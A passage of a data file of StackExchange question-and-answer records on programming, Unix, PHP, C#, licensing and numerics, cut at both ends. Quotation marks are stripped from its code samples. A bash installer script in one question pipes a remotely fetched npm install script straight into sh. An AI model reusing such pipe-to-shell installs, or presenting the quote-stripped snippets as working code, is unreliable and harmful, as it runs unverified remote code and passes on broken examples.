iterate over the columns instead of the rows, transpose it using the built-in zip function with the * operator, as shown in this answer on StackOverflow.def _intersect_patterns(lines, wildcard='?', fill='x'):    for column in zip(*lines):        literals = {char for char in column if char != wildcard}        if not literals:            yield fill        elif len(literals) == 1:            yield literals.pop()        else:            yield wildcardThe right data structure for the jobWow, where did all the code go? It turns out that there is a data structure which can do most of the work for you: the set (which we create using a set comprehension, or {...}), because for each column, we only need to examine the unique literals, disregarding any wildcards, to determine what to put in the intersecting pattern we are calculating.There are only three possible casesThe column we are examining contains...No literals  only wildcards, so we need to insert a literal (for instance x) into the output.Exactly one unique literal, so we need to insert that literal into the output.More than one unique literal, so we need to insert a wildcard into the output.We simply yield the correct character on every iteration. Our caller can then take care of assembling the result string and printing it.ConclusionBefore racing to implement a solution, think about the algorithms and data structures that might help you. For example, iterate over the data in a way that makes sense and use what the standard library has to offer.Analyze the possible scenarios by writing them down before coding them, which will help you discover the simplest solution.Separate your concerns.If you need to write if statements for special cases, you might be doing it wrong."  } 
{  "id": "_softwareengineering.252625"  , "question": "I am working in an organisation with 11 scrum teams developing on the same code base.  Currently, all development is done in trunk, and at the end of a sprint everything MUST be releasable, or it must be backed out (an arduous process) as a release is cut.My opinion is that while work in a sprint is (ideally) 'done' at the end of the sprint, this doesn't necessarily mean ready for release. You may be at a point where you do not have a Minimum Viable Product to release, but have some stories complete. If a story is not done, or the story is only part of a larger feature, it should be easy to keep this separate from the release ready code.  At the moment it is all backed out, the release cut is taken, then it is checked back in. A huge waste of time!We use continuous integration, which is the main argument for everyone developing on trunk.  Occasionally teams use a team branch, but this is currently frowned upon.I've been considering simply having a 'dev' and 'release' branch, and pushing features to release when they are an MVP, or having a branch for each story or feature, but this is very admin heavy in TFS. Have other people dealt with similar issues in the past, and what are your thoughts on the best way forward?  Unfortunately, we are tied to TFS in the short term."  , "title": "Managing 'done' but not releasable code in TFS"  , "tags": "agile;scrum;team foundation server;large scale project"  , "accepted_answer": "Looks like you are completely borked with that lack of branching. At the very least you should be developing on a Dev branch and merging completed code onto Main when your code is working and 'releasable'. This would stop the stupidity of reverting committed work if you failed to meet your deadline and re-committing it afterward. The days of using VSS are long gone!!Every team should have their own dev branch, but I can understand if you all want to work on a single Dev branch. CI should be applied to both Dev and Main branches, and extra analysis on Main too - we used to put some very long running static analysis, doc generation and testing on Main that would have slowed Dev down too much. Microsoft recommends using a Main branch (or trunk) with Dev branches and Release branches in their TFS model. (the old docs are here, though they say they are outdated.. but neglect to link to their current views)"  } 
{  "id": "_unix.14034"  , "question": "Can I just dd an Ubuntu 11.04 mini.iso to an usb flashdrive an boot from it? or what am I missing?"  , "title": "How can I make a bootable usb flashdrive?"  , "tags": "linux;dd"  , "accepted_answer": "You should be able to dd if=linux.iso of=/dev/sdx, where x is the letter for your USB device. Don't use /dev/sdx1, just /dev/sdx. It has worked for me (not with Ubuntu, though). Beware that this will destroy any data previously on the flashdrive."  } 
{  "id": "_unix.243829"  , "question": "I thought this was easy even for a beginner like me, but I'm stuck - piping a text file like this: cat file1.txt | sed '/^[0-9].*[0-9]$/d' > file2.txtThis regex catches the lines in a text editor, and it works when I use it to delete all blank lines in the same file, so no problem with (Linux/Windows) newline format I guess.I wonder why this does not delete those lines, or how this can be done otherwise? "  , "title": "Delete lines beginning and ending with a digit"  , "tags": "sed;tr"  } 
{  "id": "_unix.102051"  , "question": "I type this: export JAVA_HOME=/usr/lib/jvm/java-1.7.0-openjdk so that I can access that directory by typing cd $JAVA_HOME but every time I close and open the terminal I have to do this again and again. Is there a way of saving this? I did some research but am not understanding how you could add it to the bash_profile.I'm on the latest Fedora. please explain as basic as you can as I'm a complete newbie! :)"  , "title": "exported variable disappears when I open a new terminal"  , "tags": "bash;environment variables"  , "accepted_answer": "You need to add your export line in /your/home/directory/.bashrc, which is the Bash initialization file sourced when you start an interactive shell.If you're using the GUI to edit the file, you should note that its name begins with a . so it's hidden in the GUI by default. To make it visible, assuming you're using Nautilus, you can press CTRL+H. If you're using some other file manager, look in its documentation for how you can show hidden files.Simply edit your .bashrc and append your export line at its end. This should work when you open and close the terminal and should also be persistent across reboots."  } 
{  "id": "_codereview.15349"  , "question": "After a week of searching and testing each approach via Stopwatch, I came to this method using the fastest way possible to capture screen into a bitmap  and then to a byte[].Is it possible to make it any faster using parallel features or any idea I have not taken into account? (As I am a newbie, 4 months of self learning.)I mixed two or three versions of the copying function (portion of screen to memory then convert captured/crop into byte[]). I might have left unnecessary lines of code, I would like to refine it (if and where needed).unsafe public static Bitmap NatUnsfBtmp(IntPtr hWnd, Size Ms){    Stopwatch swCap2Byte = new Stopwatch();    swCap2Byte.Start();    WINDOWINFO winInfo = new WINDOWINFO();    bool ret = GetWindowInfo(hWnd, ref winInfo);    if (!ret)    {        return null;    }    int height = Ms.Height;    int width = Ms.Width;    if (height == 0 || width == 0) return null;    Graphics frmGraphics = Graphics.FromHwnd(hWnd);    IntPtr hDC = GetWindowDC(hWnd); //gets the entire window    //IntPtr hDC = frmGraphics.GetHdc(); -- gets the client area, no menu bars, etc..    System.Drawing.Bitmap tmpBitmap = new System.Drawing.Bitmap(width, height, frmGraphics);    Bitmap bitmap = (Bitmap)Clipboard.GetDataObject().GetData(DataFormats.Bitmap);    Graphics bmGraphics = Graphics.FromImage(tmpBitmap);    IntPtr bmHdc = bmGraphics.GetHdc();    BitBlt(bmHdc, 0, 0, width, height, hDC, 0, 0, TernaryRasterOperations.SRCCOPY);    swCap2Byte.Stop();    string swCopiedFF = swCap2Byte.Elapsed.ToString().Remove(0, 5);    swCap2Byte.Restart();    #region <<=========== CopytoMem->ByteArr ============>>    BitmapData bData = tmpBitmap.LockBits(new Rectangle(new Point(), Ms),    ImageLockMode.ReadOnly,    PixelFormat.Format24bppRgb);    MyForm1.MyT.Cap.TestBigCapturedBtmp = tmpBitmap;    // number of bytes in the bitmap    int byteCount = bData.Stride * tmpBitmap.Height;    byte[] bmpBytes = new byte[byteCount];    // Copy the locked bytes from memory    Marshal.Copy(bData.Scan0, bmpBytes, 0, byteCount);    byte[] OrgArr = bmpBytes;//File.ReadAllBytes(testFcompScr.bmp);    // don't forget to unlock the bitmap!!    swCap2Byte.Stop();    string SwFCFscr = swCap2Byte.Elapsed.ToString().Remove(0, 5);    System.IO.File.WriteAllBytes(MyForm1.AHItemsInitialDir + testBig4BenchViaChaos.bar, OrgArr);    System.Windows.Forms.MessageBox.Show(   Copied @   +swCopiedFF + Environment.NewLine+Converted @  + SwFCFscr);    btmp.UnlockBits(bData);    if(System.IO.File.ReadAllBytes(MyForm1.AHItemsInitialDir + testBig4BenchViaChaos.bar)== OrgArr)        System.Windows.Forms.MessageBox.Show(OK);    else System.Windows.Forms.MessageBox.Show(Not same);    if (BigOrsmall == Big)    {        MyT.Cap.TestBigCapturedBtmp = btmp;        MyT.CapSave.TestBigCaptSavedAsBar = OrgArr;        File.WriteAllBytes(AHItemsInitialDir + testBig4BenchViaChaos.bar, OrgArr);    }    else if (BigOrsmall == Small)    {        MyT.Cap.TestSmallCapturedBtmp = btmp;        File.WriteAllBytes(AHItemsInitialDir + testSmall4BenchViaChaos.bar, OrgArr);        MyT.CapSave.TestSmallCaptSavedAsBar = OrgArr;    }    TestedCap_DoPutInPicBox(PicBox_CopiedFromScreen);    #endregion    bmGraphics.ReleaseHdc(bmHdc);    ReleaseDC(hWnd, hDC);    return tmpBitmap;}"  , "title": "Comparing screen captures using unsafe / API calls"  , "tags": "c#;performance;image"  } 
{  "id": "_unix.284149"  , "question": "I am trying to extract the compilation date from a linux command (or cpp would be fine too). I am using:stat -c %z ./myProgram.binHowever, if I copy myProgram.bin to an another place via ssh for example, the stat command is basically giving me the date of the copy.How can I get the real compilation date?Thanks."  , "title": "Get compilate date"  , "tags": "linux;command line;c++"  , "accepted_answer": "Thomas Dickey's answer addresses the issue in general, for any (ELF) binary. Given the way your question's phrased, you might find the __DATE__ and __TIME__ predefined macros useful; they allow the compilation date and time to be referred to within a program (so a program knows its own compilation date and time).Here's a quick example:#include <stdio.h>int main(int argc, char **argv) {    printf(This program was compiled on %s at %s.\\n, __DATE__, __TIME__);    return 0;}"  } 
{  "id": "_webapps.106050"  , "question": "I have a google sheet with 1300 lines. I want to enable users to see the list and be able to enter filter text, so only matching records will be displayed.I can send the link to the sheet, but then when a user enters a filter, all other users will see it, and it will override their filter."  , "title": "How do I allow users to see and filter a data list without allowing them to edit the sheet?"  , "tags": "google spreadsheets"  } 
{  "id": "_unix.304671"  , "question": "Background: I have a FreeNas box with a boot SSD and a 2x 3TB HDD. I know only enough linux and FreeNas to get me in trouble and must have gotten it up and running a while ago. I transferred data to the drive (somehow) and backed it up to CrashPlan (since disappeared). I moved the box to the garage to get it out of the middle of the floor and forgot about it.Recently, I went to retrieve data off the hard drive by pulling it out of the box and putting it in my Windows box. The drive was seen by disk management with two partitions, but I was unable to assign a drive letter (disk1). Starting to panic, I grabbed the other drive and put it in the Windows box to find that Windows did see it and assign it a drive letter, but it was empty (disk2).I cloned the drive that I couldn't mount (disk1) to the drive Windows could mount (disk2) so I could go about recovering the partition. I loaded up easeus to recover the gpt partition and found that it said invalid ZFS file system. I grabbed the SSD from the FreeNas box, put it in the computer I'm working on and booted FreeNas. I was able to get in and saw the FreeNas saw a pool, but it stated that 2.7TB were empty, which is not right.Here is what I know. If I copied the original data to the FreeNas pool, it would have been setup for disk1 to be mirrored to disk2, so I don't think I destroyed any parity information during the clone. I don't think disk2 had any data, unless the partition was damaged and it stated it was empty when it wasn't. I have the original FreeNas box, but at this point, I don't remember which SATA port each drive was plugged in to (if that makes a difference). I REALLY would like to get this data as it is pictures of my wedding and when we were dating. If I need to leave this to a professional, please recommend someone and tell me what I need to tell them (is my zfs file system invalid?)."  , "title": "Invalid ZFS file system has no data"  , "tags": "zfs;freenas"  } 
{  "id": "_unix.168611"  , "question": "I'm using a Latitude DELL notebook with XUbuntu which is working really well.But there's this one issue. The missing context menu key which is usually between CTRL and AltGR.I already found a way to press the right key but it only opens the context menu at my coursors point and not for example the focused text in firefox.Is there some way to open the context menu for the selected item?(Like the menu key on every normal keyboard would do)Cheers."  , "title": "Bind right click contect menu to key"  , "tags": "keyboard shortcuts;xfce;menu"  } 
{  "id": "_unix.303298"  , "question": "I recently got GPG setup on my Mac:brew install gpg;brew install gpg-agent;And generated a key pair with a passphrase.I added use-agent to my ~/.gnupg/gpg.conf and allow-preset-passphrase to ~/.gnupg/gpg-agent.confI successfully decrypted a file using:gpg --use-agent --output example.txt --decrypt example.gpgwhich prompted me to enter my private key passphrase. The trouble is, when decrypting subsequent files, gpg-agent again prompts me for this passphrase.Currently, my passphrase is a really long string which is near impossible to type each time. I would like gpg to behave like ssh-agent wherein the passphrase is stored securely and remembered forever (even between sessions).I understand that this might decrease security if my laptop was comprised, but this inconvenience would probably deter me from using gpg all together.I'm not sure if:default-cache-ttl 31536000max-cache-ttl 31536000are the options I'm looking for to store between reboots There's sadly no man entry for gpg-agent.How can I make gpg/gpg-agent remember my private key passphrase forever?"  , "title": "Make GPG Agent Permanently Store Passphrase"  , "tags": "gpg;gpg agent"  } 
{  "id": "_unix.348327"  , "question": "When using the terminal tool ip, there is a number of flags for every interface.Example: eth0:  <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueueWhat is the meaning of M-DOWN? What command to be used to make it up or down?"  , "title": "Using ip, what does M-DOWN mean?"  , "tags": "terminal;ip;x86;interface"  } 
{  "id": "_cs.45404"  , "question": "The Bitcoin-solution can be described as [...] a solution to the double-spending problem using a peer-to-peer network. (official Bitcoin paper, PDF, abstract, first page).Now I wonder if a similar technology can be used to collect, send and receive other data with the goal to create unique content. That is data that you either have or you don't have (like a physical object).A follow-up question is if these objects can be only created by a central instance but once distributed there is no control from this central instance anymore. Like real money: It gets minted but once it is public you don't have to register every cash transaction with the your state.One application could be a digital trading card game where you either have a card or not. You can either trade new cards directly with other humans or you get (buy) new ones from the creator who holds the monopoly over creating and releasing cards.Did I miss anything in the crypto-currency tech that prevents this scenario?"  , "title": "Can systems that prevent double-spending (e.g. crypto-currencies) be used to attach other unique data?"  , "tags": "cryptography;computer games;peer to peer"  } 
{  "id": "_unix.249467"  , "question": "I have created a script to check if I have installed Node, Npm, Bower and Susy but when I execute it I get an error which I can not solve.This is the script:    isInstalled(){  command -v $1 >/dev/null 2>&1 || command -v $2 >/dev/null 2>&1 || { echo >&2 I require $1 but it's not installed.  Aborting.; return false;}  }installNode() {  if [[ !isInstalled('node', 'nodejs') ]]; then    echo Node is not installed. Installing...    curl https://www.npmjs.org/install.sh | sh  fi}installBower(){   if [[ !isInstalled('npm') ]]; then     echo Npm is not installed. Installing...     curl -L https://npmjs.org/install.sh | sh   else     echo Npm is installed. Checcking Bower...   if [[ !isInstalled('bower') ]]; then     echo Bower is not installed. Installing...     npm install -g bower   fi}installSusy(){  if [[ !isInstalled('npm') ]]; then     echo Npm is not installed. Installing...     curl -L https://npmjs.org/install.sh | sh   else     echo Npm is installed. Checcking Bower...   if [[ !isInstalled('bower') ]]; then     echo Susy is not installed. Installing...     npm install susy   fi}This is the error message:begin.sh: 6: begin.sh: Syntax error: ( unexpected (expecting then)I know this question is quite stupid and that's because my lack of experience on bash scripting. I also tried googling before posting but I guess the error is so basic that I can't find an answer. Thanks for everything."  , "title": "Can not execute bash script (unexpected element '(' )"  , "tags": "shell;scripting;npm"  , "accepted_answer": "Functions in bash are called just like commands, and not like functions in other languages. Instead of isInstalled('node', 'nodejs'), do:isInstalled 'node' 'nodejs'And the if condition would look like:if ! isInstalled 'node' 'nodejs';then    ..."  } 
{  "id": "_softwareengineering.164606"  , "question": "I have been noticing for a long time on Stack Overflow that most users recommend to use PDO instead of mysql_*, because PDO is more secure than mysql_*. But my question is if websites which are already running with mysql_* will stops working? Or what exactly does deprecating mean here? So should we have never used  mysql_*? From which PHP version is is deprecated?"  , "title": "Is mysql_* deprecated after PDO was introduced?"  , "tags": "php;mysql;deprecation"  , "accepted_answer": "See PHP.net page FAQ.  It answers your question and gives migration advice.Your code won't suddenly stop working unless when PHP remove the functionality, you upgrade your PHP version.  The FAQ page advice recommends you write new code using one of the alternatives.  If it's not a massive job, it could be worth considering switching.. that depends on your project though."  } 
{  "id": "_codereview.115988"  , "question": "The below script will compare a set of arrays according to similarities between their key's values. For example, if the first 4 keys values of an array are equal to another array's first 4 keys values, they are equal and consists a cluster. Here is my code:<?php$arrays = [array('a'=>1, 'b'=>2, 'c'=>3, 'd'=>4),array('a'=>1, 'b'=>2, 'c'=>3, 'd'=>4),array('a'=>1, 'b'=>2, 'c'=>3, 'd'=>4),array('a'=>1, 'b'=>2, 'c'=>4, 'd'=>3),];$result = [];//get the keys of a sub-array that is inside $arrays, to be used later$keys = array_keys($arrays[0]);for($i=0; $i < sizeof($arrays); $i++){    $sa = array(); // to store similar arrays indexes    for($k=$i+1; $k < sizeof($arrays); $k++){        $similar = false;        //compare the values of keys in the two arrays. Just compare the first 4 keys (as the user's desire)        for($j=0; $j < 4; $j++){            //check if the values are similar, if they are, assign $similar to true, and assign $j=3 to end the loop, (a bit of laziness here)            ($similar = $arrays[$i][$keys[$j]] == $arrays[$k][$keys[$j]] ? true : false) ? null : ($j=3);         }        // check if the key (which represents an index in $arrays) is in $sa or not, if not, push it.        $similar ? (in_array($i, $sa) ? null : array_push($sa, $i) && in_array($k, $sa) ? null : array_push($sa, $k)) : null;        //if $similar is true, make $i jumps to the $k index (saving time)        $similar ? $i=$k : null;    }    //if $sa not empty, push it to $result    empty($sa) ? null : ($result[] = $sa);}/* // at this stage, $result includes all the similar arrays// so we need another loop to push the unique arrays to $result// just check if an index of $arrays is in an sub-array of $result, if not, push it as an array of one record */for($j=0; $j < sizeof($arrays); $j++){    $f = false;    for($i=0; $i < sizeof($result); $i++){        in_array($j, $result[$i]) ? $f = true : null;    }    if(!$f){        $sa = array();        array_push($sa, $j);        array_push($result, $sa);    }}If the result was as follows:array(2) {     [0]=> array(3) {             [0]=> int(0)             [1]=> int(1)             [2]=> int(2)     },    [1]=> array(1) {             [0]=> int(3)     } }this means that $arrays has two clusters of sub-arrays, where $arrays[0], $arrays[1], and $arrays[2] are similar (cluster 1), then $arrays[3] is unique (cluster 2).Does this code have vulnerabilities? Could it be optimized?"  , "title": "Cluster arrays according to similarity of key values"  , "tags": "php;array;clustering"  } 
{  "id": "_codereview.139007"  , "question": "I built this web app to present a random group of questions for quizzes and tests. The page opens with random questions. Clicking anywhere shows (only) the spinner div. Clicking anywhere again brings up new questions.One thing is bothering me, though. I have succeeded in moving all the JS out of the body except for this:<div id=click onclick=location.reload();>I've tried using this in the script section, but it hasn't worked for me:document.getElementById('click').onclick = location.reload();Looks like it should do the same thing, but it doesn't, so I'm out of ideas. Other feedback is welcome, too.jsFiddle<!DOCTYPE html><html><head>    <meta charset=utf-8>    <title>Random Test Questions</title>    <!-- Mobile viewport-->    <meta name=viewport content=width=device-width, height=device-height,initial-scale=1.0, user-scalable=no>    <script language=javascript>        // change questions here -- in quotes, comma separated        function setUP() {            var questionSets = [                [Set 1 Question 1, Set 1 Question 2, Set 1 Question 3, Set 1 Question 4, Set 1 Question 5],                [Set 2 Question 1, Set 2 Question 2, Set 2 Question 3, Set 2 Question 4, Set 2 Question 5],                [Set 3 Question 1, Set 3 Question 2, Set 3 Question 3, Set 3 Question 4, Set 3 Question 5],                [Set 4 Question 1, Set 4 Question 2, Set 4 Question 4, Set 4 Question 4, Set 4 Question 5],                [Set 5 Question 1, Set 5 Question 2, Set 5 Question 5, Set 5 Question 4, Set 5 Question 5]            ];            for (var setIndex = 0; setIndex < questionSets.length; ++setIndex) {                var questionSet = questionSets[setIndex];                var questionIndex = Math.floor(Math.random() * questionSet.length);                var question = questionSet[questionIndex];                var selector = '#questions div:nth-child(' + (setIndex + 1).toString() + ')';                document.querySelector(selector).innerHTML = question;                //alternative method follows -- comment out above two lines, uncomment below two lines                //var setId = 'set_' + (setIndex + 1).toString();                //document.getElementById(setId).innerHTML = question;            }        }        function showQuestions() {            document.getElementById('spinner').style.display = none;            document.getElementById('click').style.display = none;            document.getElementById('questions').style.display = block;        }        function showSpinner() {            document.getElementById('questions').style.display = none;            document.getElementById('click').style.display = block;            document.getElementById('spinner').style.display = block;        }        function startTimer(duration, display) {            var timer = duration,                minutes, seconds;            setInterval(function() {                minutes = parseInt(timer / 60, 10);                seconds = parseInt(timer % 60, 10);                minutes = minutes < 10 ? 0 + minutes : minutes;                seconds = seconds < 10 ? 0 + seconds : seconds;                display.textContent = minutes + : + seconds;                if (--timer < 0) {                    timer = 0;                    document.getElementById('time').style.backgroundColor = red;                }            }, 1000);        }        window.onload = function() {            setUP();            showQuestions();            var minutesLeft = 239, //Change to minutes you need -- counted in seconds -- minus one second                 display = document.querySelector('#time');            startTimer(minutesLeft, display);                        document.getElementById('questions').onclick = setUP;                        document.getElementById('questions').onclick = showSpinner;        };    </script>    <style>        #questions div {            font-family: Arial, Helvetica, sans-serif;            font-size: 7vh;            margin-top: 6vh;            border: 1px solid gray;            padding: 1vh;            width: 100%;        }        .questions {            background-color: #ececff;        }        .time {            background-color: #4cdc4c;            text-align: center;        }        #spinner {            height: 30vw;            width: 30vw;            position: absolute;            top: 12vh;            margin-left: 35vw;            overflow: hidden;            -webkit-animation: rotation .6s infinite linear;            -moz-animation: rotation .6s infinite linear;            -o-animation: rotation .6s infinite linear;            animation: rotation .6s infinite linear;            border-left: 3vw solid #ececff;            border-right: 3vw solid #ececff;            border-bottom: 3vw solid #ececff;            border-top: 3vw solid #4cdc4c;            ;            border-radius: 100%;        }        @-webkit-keyframes rotation {            from {                -webkit-transform: rotate(0deg);            }            to {                -webkit-transform: rotate(359deg);            }        }        @-moz-keyframes rotation {            from {                -moz-transform: rotate(0deg);            }            to {                -moz-transform: rotate(359deg);            }        }        @-o-keyframes rotation {            from {                -o-transform: rotate(0deg);            }            to {                -o-transform: rotate(359deg);            }        }        @keyframes rotation {            from {                transform: rotate(0deg);            }            to {                transform: rotate(359deg);            }        }        #click {            height: 100vh;            width: 100vw;        }    </style></head><body>    <div id=questions>        <div id=set_1 class=questions>First question</div>        <div id=set_2 class=questions>Second question</div>        <div id=set_3 class=questions>Third question</div>        <div id=set_4 class=questions>Fourth question</div>        <div id=set_5 class=questions>Fifth question</div>        <div id=time class=time>04:00</div>    </div>    <div id=click onclick=location.reload();>        <div id=spinner></div>    </div></body></html>"  , "title": "Displaying quiz questions in a web app"  , "tags": "javascript;beginner;quiz"  } 
{  "id": "_codereview.48"  , "question": "I am currently developing a custom CMS being built on top of Codeigniter and was wondering if you can spot any flaws in my page fetching model code. The page fetching model is not entirely complete but the main functionality for retrieving a page is done, as well as retrieving modules assigned to a page (a module is really just a widget).Can this model be better in some parts, perhaps in relation to the joins I am doing? although not really joins, but multiple queries to pull out bits of related info the pages like modules and media.<?php  class Mpages extends CI_Model {      public function __construct()      {          parent::__construct();      }      public function fetch_page($page_slug = 'home')       {          $db = $this->db;          $query =             $db               ->where('page_status', 1)               ->where('page_slug', strtolower($page_slug))               ->get('pages')               ->result_array();          $page_id = $query[0]['id'];          $query['modules'] =             $db                ->select('modules.module_name, modules.module_slug, modules.id moduleid')                ->where('page_id', $page_id)                ->join('pages_modules lpm', 'moduleid = lpm.module_id')                ->order_by('module_order', 'asc')                ->get('modules')                ->result_array();          /*$query['media'] =             $db                ->select('lucifer_media.media_file_name, lucifer_media.media_file_extension, lucifer_media.media_directory')                ->join('lucifer_pages_media', 'lucifer_pages_media.page_id = '.$page_id.'')                ->get('lucifer_media')                ->result_array();*/          if ($query) {            return $query;          } else {            return false;          }      }      public function fetch_navigation()      {        $result = $this->db->order_by(nav_order, asc)->where('published', 1)->get('navigation')->result_array();        return $result;      }      public function fetch_layout($id)      {          $result = $this->db->where('id', $id)->get('layouts')->result_array();          return $result[0];      }  }?>"  , "title": "Critique My Codeigniter Custom CMS Pages Model"  , "tags": "php;codeigniter;mvc"  , "accepted_answer": "aaaah, a CodeIgniter fella :-)I'm just working on a CI project myself and already implemented some of the optimization you could use for your CMS as well... so let's have a look:for as little overhead as possible, try implementing lazy-loading of your files (libraries, models...)for caching purposes, you can use KHCache - a library that allows you to cache parts of the website instead of full pageinstead of always doing $this->db->..., you can create a helper function, for instance function _db() and then simply do _db()->where...also, you can optionally create a helper function to give you the results array automatically, so ->result_array() will not be neccessary anymore: function res() {} ... $query = res(_db()->where...);now, for the code :-)$query =     $db      ->where('page_status', 1)      ->where('page_slug', strtolower($page_slug))      ->get('pages')      ->result_array();$page_id = $query[0]['id'];here, you seem to be selecting all values from DB, while in need of a single first ID - try limiting number of results or this will create overhead in your database$db->where...->limit(1);the second query could probably use a LEFT JOIN instead of a regular JOIN, although I leave it to you to decide (the JOIN approach might not list everything you need)$db-select...->join('pages_modules lpm', 'moduleid = lpm.module_id', 'left')I guess that's all... just remember to put correct indexes on your SQL fields and use the EXPLAIN statement to check for bottlenecksgood luck!"  } 
{  "id": "_scicomp.26504"  , "question": "I'm studying the Fisker-KPP equation on the line (and in $]0, 100[$ numerically):$$\\partial_t u = \\Delta_{xx} u + u(1-u)$$I notice a behavior I don't understand with a smooth initial condition $u_0$ that has the following form:$$u_0(x) =\\left\\{\\begin{aligned}&1 \\quad \\mbox{if} \\quad |x-50| < 10 \\\\&\\exp( 1/3^2 - 1/||x-50|-13|^2)( 1 - \\exp( -1/||x-50|-10|^2)) \\quad \\mbox{if} \\quad 10 < |x-50| < 13 \\\\&0 \\quad \\mbox{if} \\quad |x-50| > 13\\end{aligned}\\right.$$I'm using as a numerical scheme the Strang splitting, and a code taken from here:solve a scalar diffusion-reaction equation: phi_t = kappa phi_{xx} + (1/tau) R(phi)using operator splitting, with implicit diffusionM. Zingale#from __future__ import print_functionimport numpy as npfrom scipy import linalgfrom scipy.integrate import ode#import sysimport matplotlib.pyplot as pltdef frhs(t, phi, tau):     reaction ODE righthand side     return 0.25*phi*(1.0 - phi)/taudef jac(t, phi):    return Nonedef react(gr, phi, tau, dt):     react phi through timestep dt     phinew = gr.scratch_array()    for i in range(gr.ilo, gr.ihi+1):        r = ode(frhs,jac).set_integrator(vode, method=adams,                                         with_jacobian=False)        r.set_initial_value(phi[i], 0.0).set_f_params(tau)        r.integrate(r.t+dt)        phinew[i] = r.y[0]    return phinewdef diffuse(gr, phi, kappa, dt):     diffuse phi implicitly (C-N) through timestep dt     phinew = gr.scratch_array()    alpha = kappa*dt/gr.dx**2    # create the RHS of the matrix    R = phi[gr.ilo:gr.ihi+1] + \\        0.5*alpha*(    phi[gr.ilo-1:gr.ihi] -                   2.0*phi[gr.ilo  :gr.ihi+1] +                       phi[gr.ilo+1:gr.ihi+2])    # create the diagonal, d+1 and d-1 parts of the matrix    d = (1.0 + alpha)*np.ones(gr.nx)    u = -0.5*alpha*np.ones(gr.nx)    u[0] = 0.0    l = -0.5*alpha*np.ones(gr.nx)    l[gr.nx-1] = 0.0    # set the boundary conditions by changing the matrix elements    # homogeneous neumann    d[0] = 1.0 + 0.5*alpha    d[gr.nx-1] = 1.0 + 0.5*alpha    # dirichlet    #d[0] = 1.0 + 1.5*alpha    #R[0] += alpha*0.0    #d[gr.nx-1] = 1.0 + 1.5*alpha    #R[gr.nx-1] += alpha*0.0    # solve    A = np.matrix([u,d,l])    phinew[gr.ilo:gr.ihi+1] = linalg.solve_banded((1,1), A, R)    return phinewdef est_dt(gr, kappa, tau):     estimate the timestep     # use the proported flame speed    s = np.sqrt(kappa/tau)    dt = gr.dx/s    return dtclass Grid(object):    def __init__(self, nx, ng=1, xmin=0.0, xmax=1.0, vars=None):         grid class initialization         self.nx = nx        self.ng = ng        self.xmin = xmin        self.xmax = xmax        self.dx = (xmax - xmin)/nx        self.x = (np.arange(nx+2*ng) + 0.5 - ng)*self.dx + xmin        self.ilo = ng        self.ihi = ng+nx-1        self.data = {}        for v in vars:            self.data[v] = np.zeros((2*ng+nx), dtype=np.float64)    def fillBC(self, var):        if not var in self.data.keys():            sys.exit(invalid variable)        vp = self.data[var]        # Neumann BCs        vp[0:self.ilo+1] = vp[self.ilo]        vp[self.ihi+1:] = vp[self.ihi]    def scratch_array(self):        return np.zeros((2*self.ng+self.nx), dtype=np.float64)    def initialize(self):         initial condition         phi = self.data[phi]        length1 = 10.        length2 = 13.        epsilon   = length2 - length1        phi[:] = np.maximum( \\                 np.exp( 1./epsilon**2 - 1./(np.abs(np.abs(self.x-50.)-length2))**2) * \\                 ( 1. - np.exp( -1./(np.abs(np.abs(self.x-50.)-length1))**2)) * \\                 ( self.x >  50.-length2 ) * \\                 ( self.x <  50.+length2 ) \\                 , \\                 ( self.x >= 50.-length1 ) * \\                 ( self.x <= 50.+length1 ) \\                 )def interpolate(x, phi, phipt):     find the x position corresponding to phipt     idx = (np.where(phi >= 0.5))[0][0]    xs   = np.array([x[idx-1],   x[idx],   x[idx+1]])    phis = np.array([phi[idx-1], phi[idx], phi[idx+1]])    xpos = 0.0    for m in range(len(phis)):        # create Lagrange basis polynomial for point m        l = None        n = 0        for n in range(len(phis)):            if n == m:                continue            if l == None:                l = (phipt - phis[n])/(phis[m] - phis[n])            else:                l *= (phipt - phis[n])/(phis[m] - phis[n])        xpos += xs[m]*l    return xposdef evolve(nx, kappa, tau, tmax, dovis=1, return_initial=0):        the main evolution loop.  Evolve     phi_t = kappa phi_{xx} + (1/tau) R(phi)    from t = 0 to tmax        # create the grid    gr = Grid(nx, ng=1, xmin = 0.0, xmax=100.0,              vars=[phi, phi1, phi2])    # pointers to the data at various stages    phi  = gr.data[phi]    phi1 = gr.data[phi1]    phi2 = gr.data[phi2]    # initialize    gr.initialize()    phi_init = phi.copy()    # runtime plotting    if dovis == 1: plt.ion()    t = 0.0    while t < tmax:        dt = est_dt(gr, kappa, tau)        if t + dt > tmax:            dt = tmax - t        # react for dt/2        phi1[:] = react(gr, phi, tau, dt/2)        gr.fillBC(phi1)        # diffuse for dt        phi2[:] = diffuse(gr, phi1, kappa, dt)        gr.fillBC(phi2)        # react for dt/2 -- this is the updated solution        phi[:] = react(gr, phi2, tau, dt/2)        gr.fillBC(phi)        t += dt        if dovis == 1:            plt.clf()            plt.plot(gr.x, phi)            plt.grid()            plt.xlim(gr.xmin,gr.xmax)            plt.ylim(0.0,1.0)            plt.title(Reaction-Diffusion, $t = {:3.2f}$.format(t))            plt.draw()            plt.pause(0.1)    if return_initial == 1:        return phi, gr.x, phi_init    else:        return phi, gr.xkappa = 1.0tau = 0.25nx = 256tmax1 = 1.0phi1, x1 = evolve(nx, kappa, tau, tmax1)As far as I can tell, the initial condition being of class $\\cal{C}^{\\infty}$, and $1$ being stable, the solution should remain $1$ where the initial condition is $1$. But this is not what I observe.Is this a numerical artefact?"  , "title": "Growing error from a smooth initial condition for Fisher KPP equation"  , "tags": "parabolic pde;operator splitting"  } 
{  "id": "_softwareengineering.269653"  , "question": "I have an iOS app that uses the VLCKit framework for it's video player function. Today I got an email from the creator of VLC and in the email is stated this:According to the LGPLv2.1 VLCKit and libvlc are licensed under, I hearby request the source code for our libraries.Of course I want to comply with this request but what I'm not entirely sure about is what I should comply with. He wants the source code to his own libraries. Obviously he would already have the source code to his own library so I'm assuming there's some other purpose in him asking this. Is it to see if I have modified/changed it in any way? I haven't so, do I zip up the source files that I downloaded from his website last year and send them to him in an email? My app already does have a link to the source-code on VLC's website in the help/about section. I thought this was sufficient."  , "title": "How to comply with LGPL 2.1 source-code request?"  , "tags": "licensing;legal;lgpl"  , "accepted_answer": "Your question appears to have two parts:How to comply with an LGPL backed source request.Why the authors of a library you included would request their own source.Source distribution mechanicsThe first question is pretty mechanical and fairly straightforward.  Namely: tar / zip up the files that were used and send them to the requestor.  It makes no difference who the requesting person is.  You provide 